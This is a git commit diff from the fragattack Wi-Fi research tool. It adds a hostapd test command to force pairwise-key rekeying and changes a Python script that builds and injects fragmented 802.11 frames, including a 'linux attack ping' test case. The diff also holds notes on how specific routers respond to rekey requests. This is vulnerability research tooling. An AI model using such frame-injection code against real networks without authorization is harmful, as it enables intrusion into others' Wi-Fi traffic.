fragattack: code to rekey the PTK

This commit is contained in:
Mathy 2020-03-27 14:22:12 -04:00
parent 22f603ceac
commit 9f44009b47
4 changed files with 64 additions and 9 deletions

View File

@ -2358,6 +2358,23 @@ static int hostapd_ctrl_resend_m3(struct hostapd_data *hapd, const char *cmd)
}
static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
{
struct sta_info *sta;
u8 addr[ETH_ALEN];
if (hwaddr_aton(cmd, addr))
return -1;
sta = ap_get_sta(hapd, addr);
if (!sta || !sta->wpa_sm)
return -1;
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR, MAC2STR(sta->addr));
return wpa_auth_rekey_ptk(sta->wpa_sm);
}
static int hostapd_ctrl_resend_group_m1(struct hostapd_data *hapd,
const char *cmd)
{
@ -3319,6 +3336,9 @@ static int hostapd_ctrl_iface_receive_process(struct hostapd_data *hapd,
} else if (os_strncmp(buf, "RESEND_M3 ", 10) == 0) {
if (hostapd_ctrl_resend_m3(hapd, buf + 10) < 0)
reply_len = -1;
} else if (os_strncmp(buf, "REKEY_PTK ", 10) == 0) {
if (hostapd_ctrl_rekey_ptk(hapd, buf + 10) < 0)
reply_len = -1;
} else if (os_strncmp(buf, "RESEND_GROUP_M1 ", 16) == 0) {
if (hostapd_ctrl_resend_group_m1(hapd, buf + 16) < 0)
reply_len = -1;

View File

@ -102,6 +102,7 @@ class Station():
# Contains either the "to-DS" or "from-DS" flag.
self.FCfield = Dot11(FCfield=ds_status).FCfield
self.seqnum = 1
# MAC address and IP of the station that our script controls.
# Can be either an AP or client.
@ -188,11 +189,16 @@ class Station():
# represents the final destination. Otherwise its the BSSID.
p.addr3 = destmac if p.FCfield & 1 else self.mac
def get_header(self, seqnum=0xAA, prior=1, **kwargs):
def get_header(self, seqnum=None, prior=1, **kwargs):
"""
Generate a default common header. By default use priority of 1 so destination
will still accept lower Packet Numbers on other priorities.
"""
if seqnum == None:
seqnum = self.seqnum
self.seqnum += 1
header = Dot11(type="Data", SC=(seqnum << 4))
self.set_header(header, prior=prior, **kwargs)
return header
@ -261,9 +267,8 @@ class Station():
def generate_linux_attack_ping(self):
magic = b"generate_test_ping"
seqnum = 0xAA
header = self.get_header(seqnum=seqnum)
header = self.get_header()
request = LLC()/SNAP()/IP(src=self.ip, dst=self.peerip)/ICMP()/Raw(magic)
frag1, frag2 = self.create_fragments(header, request, 2)
@ -286,7 +291,7 @@ class Station():
test = TestCase()
for frag in frags:
test.fragments.append(MetaFrag(frag), MetaFrag.BeforeAuth, False)
test.fragments.append(MetaFrag(frag), MetaFrag.StartAuth, False)
return test
@ -304,8 +309,8 @@ class Station():
# To generate the tests we need to know the MAC and IP addresses
test = TestCase()
#test.fragments.append(MetaFrag(frag1, MetaFrag.BeforeAuthDone, False))
#test.fragments.append(MetaFrag(frag2copy, MetaFrag.BeforeAuthDone, False))
#test.fragments.append(MetaFrag(frag1, MetaFrag.BeforeAuth, False))
#test.fragments.append(MetaFrag(frag2copy, MetaFrag.BeforeAuth, False))
#test.fragments.append(MetaFrag(frag2copy, MetaFrag.AfterAuth, False))
test.fragments.append(MetaFrag(header/LLC()/SNAP()/IP()/ICMP(), MetaFrag.AfterAuth, False))
#test.fragments.append(MetaFrag(frag2, MetaFrag.AfterAuth, True))
@ -340,9 +345,9 @@ class Station():
#self.text = self.generate_test_eapol()
#self.test = self.generate_test_eapol_debug()
#self.test = self.generate_linux_attack()
#self.test = TestCase()
self.test = TestCase()
#self.test = self.generate_test_ping_mixed()
self.test = self.generate_linux_attack_ping()
#self.test = self.generate_linux_attack_ping()
# - Test case to check if the receiver supports interleaved priority
# reception. It seems Windows 10 / Intel might not support this.
@ -449,6 +454,8 @@ class Station():
log(STATUS, "MetaFrag.Connected", color="green")
self.inject_next_frags(MetaFrag.Connected)
#self.daemon.rekey(self)
def set_ip_addresses(self, ip, peerip):
self.ip = ip
self.peerip = peerip
@ -501,6 +508,10 @@ class Daemon():
gtk, idx = wpaspy_command(self.wpaspy_ctrl, "GET_GTK").split()
return bytes.fromhex(gtk), int(idx)
@abc.abstractmethod
def rekey(self, station):
pass
# TODO: Might be good to put this into libwifi?
def configure_interfaces(self):
log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script")
@ -598,9 +609,12 @@ class Authenticator(Daemon):
return bytes.fromhex(tk)
def time_tick(self):
for station in self.stations.items():
for station in self.stations.values():
station.time_tick()
def rekey(self, station):
wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.peermac)
def force_reconnect(self, station):
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
# Reconnects only after a few seconds: MacOS (same with other reasons and with deauthentication)
@ -713,6 +727,19 @@ class Supplicant(Daemon):
else:
return bytes.fromhex(tk)
def rekey(self, station):
# WAG320N: does not work (Broadcom - no reply)
# MediaTek: starts handshake. But must send Msg2/4 in plaintext! Request optionally in plaintext.
# RT-N10: we get a deauthentication as a reply. Connection is killed.
# LANCOM: does not work (no reply)
# Aruba: TODO
# ==> Only reliable way is to configure AP to constantly rekey the PTK, and wait
# untill the AP starts a rekey.
#wpaspy_command(self.wpaspy_ctrl, "KEY_REQUEST 0 1")
log(ERROR, "Supplicant.rekey() was found to be unreliable and shouldn't be used.")
quit(1)
def time_tick(self):
self.station.time_tick()

View File

@ -5278,4 +5278,11 @@ int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth)
return eloop_register_timeout(0, 0, wpa_rekey_gtk, wpa_auth, NULL);
}
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm)
{
eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm);
return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm);
}
#endif /* CONFIG_TESTING_OPTIONS */

View File

@ -499,6 +499,7 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm,
void (*cb)(void *ctx1, void *ctx2),
void *ctx1, void *ctx2);
int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth);
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm);
void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm);
#endif /* WPA_AUTH_H */